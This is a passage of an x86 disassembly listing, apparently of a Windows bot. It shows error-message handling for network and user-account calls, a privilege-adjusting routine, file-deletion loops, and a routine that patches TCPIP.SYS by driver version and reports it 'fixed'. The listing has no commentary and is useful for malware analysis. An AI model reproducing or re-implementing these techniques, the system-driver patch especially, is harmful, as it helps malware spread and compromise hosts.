		jz	loc_41C354
		jmp	loc_41C3DC
; ---------------------------------------------------------------------------


loc_41C213:				; CODE XREF: sub_41C123+A8j
		cmp	[ebp+var_4], 8CAh
		jz	loc_41C3A3
		cmp	[ebp+var_4], 8E1h
		jz	loc_41C3C9
		cmp	[ebp+var_4], 906h
		jz	loc_41C2E6
		cmp	[ebp+var_4], 92Fh
		jz	loc_41C33E
		jmp	loc_41C3DC
; ---------------------------------------------------------------------------


loc_41C24C:				; CODE XREF: sub_41C123+38j
		push	offset aAccessDenied_ ;	"Access	denied."
		push	offset dword_4E8AC4
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41C3ED
; ---------------------------------------------------------------------------


loc_41C262:				; CODE XREF: sub_41C123+6Fj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		push	offset dword_4E8AC4
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41C3ED
; ---------------------------------------------------------------------------


loc_41C278:				; CODE XREF: sub_41C123+2Ej
		push	offset aTheNameIsInval ; "The name is invalid."
		push	offset dword_4E8AC4
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41C3ED
; ---------------------------------------------------------------------------


loc_41C28E:				; CODE XREF: sub_41C123+60j
		push	offset aInvalidParamet ; "Invalid parameter."
		push	offset dword_4E8AC4
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41C3ED
; ---------------------------------------------------------------------------


loc_41C2A4:				; CODE XREF: sub_41C123+42j
		push	offset aNotEnoughMemor ; "Not enough memory."
		push	offset dword_4E8AC4
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41C3ED
; ---------------------------------------------------------------------------


loc_41C2BA:				; CODE XREF: sub_41C123+4Cj
		push	offset aThisNetworkReq ; "This network request is not supported."
		push	offset dword_4E8AC4
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41C3ED
; ---------------------------------------------------------------------------


loc_41C2D0:				; CODE XREF: sub_41C123+56j
		push	offset aServerNameNotF ; "Server name not found."
		push	offset dword_4E8AC4
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41C3ED
; ---------------------------------------------------------------------------


loc_41C2E6:				; CODE XREF: sub_41C123+111j
		push	offset aShareNotFound_ ; "Share	not found."
		push	offset dword_4E8AC4
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41C3ED
; ---------------------------------------------------------------------------


loc_41C2FC:				; CODE XREF: sub_41C123+96j
		push	offset aDuplicateShare ; "Duplicate share name."
		push	offset dword_4E8AC4
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41C3ED
; ---------------------------------------------------------------------------


loc_41C312:				; CODE XREF: sub_41C123+89j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		push	offset dword_4E8AC4
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41C3ED
; ---------------------------------------------------------------------------


loc_41C328:				; CODE XREF: sub_41C123+7Cj
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		push	offset dword_4E8AC4
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41C3ED
; ---------------------------------------------------------------------------


loc_41C33E:				; CODE XREF: sub_41C123+11Ej
		push	offset aTheComputerNam ; "The computer name is invalid."
		push	offset dword_4E8AC4
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41C3ED
; ---------------------------------------------------------------------------


loc_41C354:				; CODE XREF: sub_41C123+E5j
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		push	offset dword_4E8AC4
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41C3ED
; ---------------------------------------------------------------------------


loc_41C36A:				; CODE XREF: sub_41C123+CBj
		push	offset aTheGroupAlread ; "The group already exists."
		push	offset dword_4E8AC4
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41C3ED
; ---------------------------------------------------------------------------


loc_41C37D:				; CODE XREF: sub_41C123+D8j
		push	offset aTheUserAccount ; "The user account already exists."
		push	offset dword_4E8AC4
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41C3ED
; ---------------------------------------------------------------------------


loc_41C390:				; CODE XREF: sub_41C123+B1j
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		push	offset dword_4E8AC4
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41C3ED
; ---------------------------------------------------------------------------


loc_41C3A3:				; CODE XREF: sub_41C123+F7j
		push	offset aNetworkConnect ; "Network connection not found."
		push	offset dword_4E8AC4
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41C3ED
; ---------------------------------------------------------------------------


loc_41C3B6:				; CODE XREF: sub_41C123+1Ej
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		push	offset dword_4E8AC4
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41C3ED
; ---------------------------------------------------------------------------


loc_41C3C9:				; CODE XREF: sub_41C123+BEj
					; sub_41C123+104j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		push	offset dword_4E8AC4
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41C3ED
; ---------------------------------------------------------------------------


loc_41C3DC:				; CODE XREF: sub_41C123+66j
					; sub_41C123+9Cj ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		push	offset dword_4E8AC4
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_41C3ED:				; CODE XREF: sub_41C123+13Aj
					; sub_41C123+150j ...
		mov	eax, offset dword_4E8AC4
		leave
		retn
sub_41C123	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3F4	proc near		; CODE XREF: sub_4021E5+5BCAp

var_720		= byte ptr -720h
var_618		= dword	ptr -618h
var_614		= dword	ptr -614h
var_610		= byte ptr -610h
var_400		= byte ptr -400h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 720h
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_4245A0
		add	esp, 0Ch
		mov	[ebp+var_614], 108h
		lea	eax, [ebp+var_614]
		push	eax
		lea	eax, [ebp+var_720]
		push	eax
		nop
		call	near ptr 2800000h
		push	108h
		lea	eax, [ebp+var_720]
		push	eax
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_4245A0
		add	esp, 0Ch
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_424570
		pop	ecx
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_400]
		push	eax
		push	0
		lea	eax, [ebp+var_610]
		push	eax
		push	0
		call	dword_4E1710
		mov	[ebp+var_618], eax
		cmp	[ebp+var_618], 0
		jnz	short loc_41C497
		push	offset unk_44ED80
		push	offset dword_4E88C0
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41C4C4
; ---------------------------------------------------------------------------


loc_41C497:				; CODE XREF: sub_41C3F4+8Ej
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_610]
		push	eax
		push	[ebp+var_618]
		call	sub_41C123
		pop	ecx
		push	eax
		push	offset dword_44EDA8
		push	offset dword_4E88C0
		call	sub_4219C0
		add	esp, 14h


loc_41C4C4:				; CODE XREF: sub_41C3F4+A1j
		mov	eax, offset dword_4E88C0
		leave
		retn
sub_41C3F4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 9Ch
		mov	dword ptr [ebp-8], offset dword_4E912C
		mov	dword ptr [ebp-4], offset dword_4E9130
		mov	dword ptr [ebp-9Ch], 94h
		lea	eax, [ebp-9Ch]
		push	eax
		call	near ptr 2820000h
		nop
		cmp	dword ptr [ebp-98h], 5
		jnz	short loc_41C527
		cmp	dword ptr [ebp-94h], 1
		jnz	short loc_41C527
		push	offset dword_44EDD4
		lea	eax, [ebp-88h]
		push	eax
		call	sub_421B10
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41C527
		push	1
		pop	eax
		jmp	short locret_41C529
; ---------------------------------------------------------------------------


loc_41C527:				; CODE XREF: .XComp0:0041C500j
					; .XComp0:0041C509j ...
		xor	eax, eax

locret_41C529:				; CODE XREF: .XComp0:0041C525j
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	dword ptr [ebp+8]
		push	offset dword_44EDD8
		lea	eax, [ebp-104h]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	near ptr 27C0000h
		nop
		test	eax, eax
		jz	short loc_41C566
		push	1
		pop	eax
		jmp	short locret_41C568
; ---------------------------------------------------------------------------


loc_41C566:				; CODE XREF: .XComp0:0041C55Fj
		xor	eax, eax

locret_41C568:				; CODE XREF: .XComp0:0041C564j
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C56A	proc near		; CODE XREF: .XComp0:0041C6B9p

var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		push	100h
		lea	eax, [ebp+var_208]
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	near ptr 2910000h
		nop
		push	offset dword_44EDE0
		nop
		call	near ptr 27F0000h
		mov	[ebp+var_4], eax
		push	5
		push	[ebp+var_4]
		nop
		call	near ptr 27F0281h
		mov	[ebp+var_8], eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_208]
		push	eax
		push	0
		call	[ebp+var_8]
		leave
		retn
sub_41C56A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3C4h
		push	esi
		push	edi
		mov	esi, [ebp+8]
		push	46h
		pop	ecx
		lea	edi, [ebp-194h]
		rep movsd
		mov	eax, [ebp+8]
		mov	[ebp-24h], eax
		mov	eax, [ebp-24h]
		mov	dword ptr [eax+114h], 1
		mov	dword ptr [ebp-3C0h], offset dword_44EDEC
		mov	dword ptr [ebp-3BCh], offset dword_44EDF0
		mov	dword ptr [ebp-3B8h], offset dword_44EDF4
		mov	dword ptr [ebp-3B4h], offset dword_4E9134
		mov	dword ptr [ebp-3B0h], offset dword_44EDF8
		mov	dword ptr [ebp-3ACh], offset dword_44EDFC
		mov	dword ptr [ebp-3A8h], offset dword_4E9138
		mov	dword ptr [ebp-3A4h], offset dword_4E913C
		mov	dword ptr [ebp-58h], offset dword_44EE00
		mov	dword ptr [ebp-54h], offset dword_44EE04
		mov	dword ptr [ebp-50h], offset dword_44EE08
		mov	dword ptr [ebp-4Ch], offset dword_4E9140
		mov	dword ptr [ebp-48h], offset dword_44EE0C
		mov	dword ptr [ebp-44h], offset dword_44EE10
		mov	dword ptr [ebp-40h], offset dword_4E9144
		mov	dword ptr [ebp-3Ch], offset dword_4E9148
		mov	dword ptr [ebp-0Ch], offset dword_44EE14
		mov	dword ptr [ebp-8], offset dword_44EE18
		mov	dword ptr [ebp-20h], offset dword_44EE1C
		mov	dword ptr [ebp-1Ch], offset dword_44EE20
		mov	dword ptr [ebp-18h], offset dword_44EE24
		and	dword ptr [ebp-28h], 0
		push	1
		call	sub_41EDA0
		pop	ecx
		mov	[ebp-39Ch], eax
		and	dword ptr [ebp-4], 0
		push	7530h
		nop
		call	near ptr 27B048Ah
		lea	eax, [ebp-18Ch]
		push	eax
		call	sub_41C56A
		pop	ecx
		push	80h
		lea	eax, [ebp-18Ch]
		push	eax
		nop
		call	near ptr 27C0342h
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		lea	eax, [ebp-18Ch]
		push	eax
		nop
		call	near ptr 28713A9h
		mov	[ebp-3A0h], eax
		cmp	dword ptr [ebp-3A0h], 0FFFFFFFFh
		jz	short loc_41C723
		lea	eax, [ebp-30h]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	dword ptr [ebp-3A0h]
		call	near ptr 28E06EDh
		nop
		push	dword ptr [ebp-3A0h]
		nop
		call	near ptr 2790578h


loc_41C723:				; CODE XREF: .XComp0:0041C6FDj
		push	offset dword_44EE28
		lea	eax, [ebp-18Ch]
		push	eax
		call	sub_4213F0
		pop	ecx
		pop	ecx
		mov	[ebp-5Ch], eax
		cmp	dword ptr [ebp-5Ch], 0
		jnz	short loc_41C77F
		push	dword ptr [ebp-88h]
		push	offset aCanNotOpenTcpi ; "Can not open TCPIP.SYS, version %d."
		push	200h
		lea	eax, [ebp-398h]
		push	eax
		call	sub_421B90
		add	esp, 10h
		lea	eax, [ebp-398h]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	dword ptr [ebp-190h]
		call	sub_40D802
		pop	ecx
		push	0
		call	near ptr 2830000h
		nop


loc_41C77F:				; CODE XREF: .XComp0:0041C73Dj
		mov	eax, [ebp-88h]
		mov	[ebp-3C4h], eax
		cmp	dword ptr [ebp-3C4h], 1
		jz	short loc_41C7C0
		cmp	dword ptr [ebp-3C4h], 2
		jz	loc_41C8D3
		cmp	dword ptr [ebp-3C4h], 3
		jz	loc_41C9E0
		cmp	dword ptr [ebp-3C4h], 4
		jz	loc_41CAC3
		jmp	loc_41CBA8
; ---------------------------------------------------------------------------


loc_41C7C0:				; CODE XREF: .XComp0:0041C792j
		mov	dword ptr [ebp-7Ch], 130h
		mov	dword ptr [ebp-78h], 131h
		mov	dword ptr [ebp-74h], 132h
		mov	dword ptr [ebp-70h], 133h
		mov	dword ptr [ebp-6Ch], 4F322h
		mov	dword ptr [ebp-68h], 4F323h
		mov	dword ptr [ebp-64h], 4F324h
		mov	dword ptr [ebp-60h], 4F325h
		and	dword ptr [ebp-198h], 0
		jmp	short loc_41C80E
; ---------------------------------------------------------------------------


loc_41C801:				; CODE XREF: .XComp0:loc_41C86Bj
		mov	eax, [ebp-198h]
		inc	eax
		mov	[ebp-198h], eax


loc_41C80E:				; CODE XREF: .XComp0:0041C7FFj
		cmp	dword ptr [ebp-198h], 8
		jge	short loc_41C86D
		push	0
		mov	eax, [ebp-198h]
		push	dword ptr [ebp+eax*4-7Ch]
		push	dword ptr [ebp-5Ch]
		call	sub_423CE0
		add	esp, 0Ch
		push	dword ptr [ebp-5Ch]
		push	1
		push	1
		push	dword ptr [ebp-39Ch]
		call	sub_4210E0
		add	esp, 10h
		push	1
		mov	eax, [ebp-198h]
		push	dword ptr [ebp+eax*4-3C0h]
		push	dword ptr [ebp-39Ch]
		call	sub_422540
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41C86B
		mov	eax, [ebp-28h]
		inc	eax
		mov	[ebp-28h], eax


loc_41C86B:				; CODE XREF: .XComp0:0041C862j
		jmp	short loc_41C801
; ---------------------------------------------------------------------------


loc_41C86D:				; CODE XREF: .XComp0:0041C815j
		cmp	dword ptr [ebp-28h], 8
		jge	short loc_41C8CE
		and	dword ptr [ebp-198h], 0
		jmp	short loc_41C889
; ---------------------------------------------------------------------------


loc_41C87C:				; CODE XREF: .XComp0:0041C8CCj
		mov	eax, [ebp-198h]
		inc	eax
		mov	[ebp-198h], eax


loc_41C889:				; CODE XREF: .XComp0:0041C87Aj
		cmp	dword ptr [ebp-198h], 8
		jge	short loc_41C8CE
		push	0
		mov	eax, [ebp-198h]
		push	dword ptr [ebp+eax*4-7Ch]
		push	dword ptr [ebp-5Ch]
		call	sub_423CE0
		add	esp, 0Ch
		push	dword ptr [ebp-5Ch]
		push	1
		push	1
		mov	eax, [ebp-198h]
		push	dword ptr [ebp+eax*4-3C0h]
		call	sub_423E80
		add	esp, 10h
		mov	dword ptr [ebp-4], 1
		jmp	short loc_41C87C
; ---------------------------------------------------------------------------


loc_41C8CE:				; CODE XREF: .XComp0:0041C871j
					; .XComp0:0041C890j
		jmp	loc_41CBA8
; ---------------------------------------------------------------------------


loc_41C8D3:				; CODE XREF: .XComp0:0041C79Bj
		mov	dword ptr [ebp-7Ch], 130h
		mov	dword ptr [ebp-78h], 131h
		mov	dword ptr [ebp-74h], 132h
		mov	dword ptr [ebp-70h], 133h
		mov	dword ptr [ebp-6Ch], 4F5A2h
		mov	dword ptr [ebp-68h], 4F5A3h
		mov	dword ptr [ebp-64h], 4F5A4h
		mov	dword ptr [ebp-60h], 4F5A5h
		and	dword ptr [ebp-198h], 0
		jmp	short loc_41C921
; ---------------------------------------------------------------------------


loc_41C914:				; CODE XREF: .XComp0:loc_41C97Bj
		mov	eax, [ebp-198h]
		inc	eax
		mov	[ebp-198h], eax


loc_41C921:				; CODE XREF: .XComp0:0041C912j
		cmp	dword ptr [ebp-198h], 8
		jge	short loc_41C97D
		push	0
		mov	eax, [ebp-198h]
		push	dword ptr [ebp+eax*4-7Ch]
		push	dword ptr [ebp-5Ch]
		call	sub_423CE0
		add	esp, 0Ch
		push	dword ptr [ebp-5Ch]
		push	1
		push	1
		push	dword ptr [ebp-39Ch]
		call	sub_4210E0
		add	esp, 10h
		push	1
		mov	eax, [ebp-198h]
		push	dword ptr [ebp+eax*4-58h]
		push	dword ptr [ebp-39Ch]
		call	sub_422540
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41C97B
		mov	eax, [ebp-28h]
		inc	eax
		mov	[ebp-28h], eax


loc_41C97B:				; CODE XREF: .XComp0:0041C972j
		jmp	short loc_41C914
; ---------------------------------------------------------------------------


loc_41C97D:				; CODE XREF: .XComp0:0041C928j
		cmp	dword ptr [ebp-28h], 8
		jge	short loc_41C9DB
		and	dword ptr [ebp-198h], 0
		jmp	short loc_41C999
; ---------------------------------------------------------------------------


loc_41C98C:				; CODE XREF: .XComp0:0041C9D9j
		mov	eax, [ebp-198h]
		inc	eax
		mov	[ebp-198h], eax


loc_41C999:				; CODE XREF: .XComp0:0041C98Aj
		cmp	dword ptr [ebp-198h], 8
		jge	short loc_41C9DB
		push	0
		mov	eax, [ebp-198h]
		push	dword ptr [ebp+eax*4-7Ch]
		push	dword ptr [ebp-5Ch]
		call	sub_423CE0
		add	esp, 0Ch
		push	dword ptr [ebp-5Ch]
		push	1
		push	1
		mov	eax, [ebp-198h]
		push	dword ptr [ebp+eax*4-58h]
		call	sub_423E80
		add	esp, 10h
		mov	dword ptr [ebp-4], 1
		jmp	short loc_41C98C
; ---------------------------------------------------------------------------


loc_41C9DB:				; CODE XREF: .XComp0:0041C981j
					; .XComp0:0041C9A0j
		jmp	loc_41CBA8
; ---------------------------------------------------------------------------


loc_41C9E0:				; CODE XREF: .XComp0:0041C7A8j
		mov	dword ptr [ebp-7Ch], 130h
		mov	dword ptr [ebp-78h], 4F322h
		and	dword ptr [ebp-198h], 0
		jmp	short loc_41CA04
; ---------------------------------------------------------------------------


loc_41C9F7:				; CODE XREF: .XComp0:loc_41CA5Ej
		mov	eax, [ebp-198h]
		inc	eax
		mov	[ebp-198h], eax


loc_41CA04:				; CODE XREF: .XComp0:0041C9F5j
		cmp	dword ptr [ebp-198h], 2
		jge	short loc_41CA60
		push	0
		mov	eax, [ebp-198h]
		push	dword ptr [ebp+eax*4-7Ch]
		push	dword ptr [ebp-5Ch]
		call	sub_423CE0
		add	esp, 0Ch
		push	dword ptr [ebp-5Ch]
		push	1
		push	1
		push	dword ptr [ebp-39Ch]
		call	sub_4210E0
		add	esp, 10h
		push	1
		mov	eax, [ebp-198h]
		push	dword ptr [ebp+eax*4-0Ch]
		push	dword ptr [ebp-39Ch]
		call	sub_422540
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41CA5E
		mov	eax, [ebp-28h]
		inc	eax
		mov	[ebp-28h], eax


loc_41CA5E:				; CODE XREF: .XComp0:0041CA55j
		jmp	short loc_41C9F7
; ---------------------------------------------------------------------------


loc_41CA60:				; CODE XREF: .XComp0:0041CA0Bj
		cmp	dword ptr [ebp-28h], 2
		jge	short loc_41CABE
		and	dword ptr [ebp-198h], 0
		jmp	short loc_41CA7C
; ---------------------------------------------------------------------------


loc_41CA6F:				; CODE XREF: .XComp0:0041CABCj
		mov	eax, [ebp-198h]
		inc	eax
		mov	[ebp-198h], eax


loc_41CA7C:				; CODE XREF: .XComp0:0041CA6Dj
		cmp	dword ptr [ebp-198h], 2
		jge	short loc_41CABE
		push	0
		mov	eax, [ebp-198h]
		push	dword ptr [ebp+eax*4-7Ch]
		push	dword ptr [ebp-5Ch]
		call	sub_423CE0
		add	esp, 0Ch
		push	dword ptr [ebp-5Ch]
		push	1
		push	1
		mov	eax, [ebp-198h]
		push	dword ptr [ebp+eax*4-0Ch]
		call	sub_423E80
		add	esp, 10h
		mov	dword ptr [ebp-4], 1
		jmp	short loc_41CA6F
; ---------------------------------------------------------------------------


loc_41CABE:				; CODE XREF: .XComp0:0041CA64j
					; .XComp0:0041CA83j
		jmp	loc_41CBA8
; ---------------------------------------------------------------------------


loc_41CAC3:				; CODE XREF: .XComp0:0041C7B5j
		mov	dword ptr [ebp-7Ch], 130h
		mov	dword ptr [ebp-78h], 131h
		mov	dword ptr [ebp-78h], 4F5A2h
		and	dword ptr [ebp-198h], 0
		jmp	short loc_41CAEE
; ---------------------------------------------------------------------------


loc_41CAE1:				; CODE XREF: .XComp0:loc_41CB48j
		mov	eax, [ebp-198h]
		inc	eax
		mov	[ebp-198h], eax


loc_41CAEE:				; CODE XREF: .XComp0:0041CADFj
		cmp	dword ptr [ebp-198h], 3
		jge	short loc_41CB4A
		push	0
		mov	eax, [ebp-198h]
		push	dword ptr [ebp+eax*4-7Ch]
		push	dword ptr [ebp-5Ch]
		call	sub_423CE0
		add	esp, 0Ch
		push	dword ptr [ebp-5Ch]
		push	1
		push	1
		push	dword ptr [ebp-39Ch]
		call	sub_4210E0
		add	esp, 10h
		push	1
		mov	eax, [ebp-198h]
		push	dword ptr [ebp+eax*4-20h]
		push	dword ptr [ebp-39Ch]
		call	sub_422540
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41CB48
		mov	eax, [ebp-28h]
		inc	eax
		mov	[ebp-28h], eax


loc_41CB48:				; CODE XREF: .XComp0:0041CB3Fj
		jmp	short loc_41CAE1
; ---------------------------------------------------------------------------


loc_41CB4A:				; CODE XREF: .XComp0:0041CAF5j
		cmp	dword ptr [ebp-28h], 3
		jge	short loc_41CBA8
		and	dword ptr [ebp-198h], 0
		jmp	short loc_41CB66
; ---------------------------------------------------------------------------


loc_41CB59:				; CODE XREF: .XComp0:0041CBA6j
		mov	eax, [ebp-198h]
		inc	eax
		mov	[ebp-198h], eax


loc_41CB66:				; CODE XREF: .XComp0:0041CB57j
		cmp	dword ptr [ebp-198h], 3
		jge	short loc_41CBA8
		push	0
		mov	eax, [ebp-198h]
		push	dword ptr [ebp+eax*4-7Ch]
		push	dword ptr [ebp-5Ch]
		call	sub_423CE0
		add	esp, 0Ch
		push	dword ptr [ebp-5Ch]
		push	1
		push	1
		mov	eax, [ebp-198h]
		push	dword ptr [ebp+eax*4-20h]
		call	sub_423E80
		add	esp, 10h
		mov	dword ptr [ebp-4], 1
		jmp	short loc_41CB59
; ---------------------------------------------------------------------------


loc_41CBA8:				; CODE XREF: .XComp0:0041C7BBj
					; .XComp0:loc_41C8CEj ...
		push	dword ptr [ebp-5Ch]
		call	sub_41EC50
		pop	ecx
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		lea	eax, [ebp-18Ch]
		push	eax
		call	near ptr 28713A9h
		nop
		mov	[ebp-3A0h], eax
		cmp	dword ptr [ebp-3A0h], 0FFFFFFFFh
		jz	short loc_41CC03
		lea	eax, [ebp-30h]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	dword ptr [ebp-3A0h]
		call	near ptr 28E0000h
		nop
		push	dword ptr [ebp-3A0h]
		nop
		call	near ptr 2790578h


loc_41CC03:				; CODE XREF: .XComp0:0041CBDDj
		cmp	dword ptr [ebp-4], 0
		jz	short loc_41CC57
		push	dword ptr [ebp-88h]
		push	offset aTcpip_sysFixed ; "TCPIP.SYS fixed, version %d."
		push	200h
		lea	eax, [ebp-398h]
		push	eax
		call	sub_421B90
		add	esp, 10h
		push	0
		push	dword ptr [ebp-84h]
		lea	eax, [ebp-398h]
		push	eax
		push	offset aMrnetiex ; "##mrnetiex##"
		push	dword ptr [ebp-194h]
		call	sub_40B00F
		add	esp, 14h
		lea	eax, [ebp-398h]
		push	eax
		call	sub_4173DC
		pop	ecx


loc_41CC57:				; CODE XREF: .XComp0:0041CC07j
		and	dword_44121C, 0
		push	dword ptr [ebp-190h]
		call	sub_40D802
		pop	ecx
		push	0
		call	near ptr 2830000h
		nop
		pop	edi
		pop	esi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC78	proc near		; CODE XREF: sub_4021E5:loc_40AD49p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	208h
		call	sub_423B90
		pop	ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41CCAC
		push	208h
		push	0
		push	[ebp+var_8]
		call	sub_421410
		add	esp, 0Ch
		jmp	short loc_41CCB4
; ---------------------------------------------------------------------------


loc_41CCAC:				; CODE XREF: sub_41CC78+1Ej
		push	0
		nop
		call	near ptr 2830000h


loc_41CCB4:				; CODE XREF: sub_41CC78+32j
		push	104h
		push	[ebp+var_8]
		push	0
		call	near ptr 27C0753h
		nop
		push	eax
		call	near ptr 27A0000h
		nop
		and	[ebp+var_4], 0
		jmp	short loc_41CCD8
; ---------------------------------------------------------------------------


loc_41CCD1:				; CODE XREF: sub_41CC78:loc_41CD53j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_41CCD8:				; CODE XREF: sub_41CC78+57j
		cmp	[ebp+var_4], 0Ch
		jnb	short loc_41CD58
		and	[ebp+var_C], 0
		jmp	short loc_41CCEB
; ---------------------------------------------------------------------------


loc_41CCE4:				; CODE XREF: sub_41CC78:loc_41CD51j
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax


loc_41CCEB:				; CODE XREF: sub_41CC78+6Aj
		cmp	[ebp+var_C], 1Ch
		jnb	short loc_41CD53
		mov	eax, [ebp+var_4]
		push	off_44EE70[eax*4]
		mov	eax, [ebp+var_8]
		add	eax, 104h
		push	eax
		call	sub_422580
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_C]
		push	off_44EEA0[eax*4]
		mov	eax, [ebp+var_8]
		add	eax, 104h
		push	eax
		call	sub_422590
		pop	ecx
		pop	ecx
		push	0
		mov	eax, [ebp+var_8]
		add	eax, 104h
		push	eax
		push	[ebp+var_8]
		nop
		call	near ptr 27C0000h
		test	eax, eax
		jz	short loc_41CD51
		push	80h
		mov	eax, [ebp+var_8]
		add	eax, 104h
		push	eax
		nop
		call	near ptr 27C0342h


loc_41CD51:				; CODE XREF: sub_41CC78+C3j
		jmp	short loc_41CCE4
; ---------------------------------------------------------------------------


loc_41CD53:				; CODE XREF: sub_41CC78+77j
		jmp	loc_41CCD1
; ---------------------------------------------------------------------------


loc_41CD58:				; CODE XREF: sub_41CC78+64j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax
		push	[ebp+var_14]
		call	sub_423AE0
		pop	ecx
		mov	al, 1
		leave
		retn
sub_41CC78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD6B	proc near		; CODE XREF: sub_41A8DC+Ap
					; sub_41CDFD+62p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_18]
		push	eax
		push	28h
		call	near ptr 2850A56h
		nop
		push	eax
		call	dword_4E16E4	; OpenProcessToken
		test	eax, eax
		jnz	short loc_41CD91
		mov	eax, [ebp+var_4]
		jmp	short locret_41CDFB
; ---------------------------------------------------------------------------


loc_41CD91:				; CODE XREF: sub_41CD6B+1Fj
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_0]
		push	0
		call	dword_4E16BC	; LookupPrivilegeValueA
		test	eax, eax
		jnz	short loc_41CDB2
		push	[ebp+var_18]
		nop
		call	near ptr 2790578h
		mov	eax, [ebp+var_4]
		jmp	short locret_41CDFB
; ---------------------------------------------------------------------------


loc_41CDB2:				; CODE XREF: sub_41CD6B+37j
		mov	[ebp+var_14], 1
		cmp	[ebp+arg_4], 0
		jz	short loc_41CDC9
		mov	eax, [ebp+var_8]
		or	al, 2
		mov	[ebp+var_8], eax
		jmp	short loc_41CDD7
; ---------------------------------------------------------------------------


loc_41CDC9:				; CODE XREF: sub_41CD6B+52j
		mov	eax, [ebp+var_8]
		and	eax, 2
		mov	ecx, [ebp+var_8]
		xor	ecx, eax
		mov	[ebp+var_8], ecx


loc_41CDD7:				; CODE XREF: sub_41CD6B+5Cj
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		push	[ebp+var_18]
		call	dword_4E176C	; AdjustTokenPrivileges
		mov	[ebp+var_4], eax
		push	[ebp+var_18]
		nop
		call	near ptr 2790578h
		mov	eax, [ebp+var_4]

locret_41CDFB:				; CODE XREF: sub_41CD6B+24j
					; sub_41CD6B+45j
		leave
		retn
sub_41CD6B	endp


; =============== S U B	R O U T	I N E =======================================

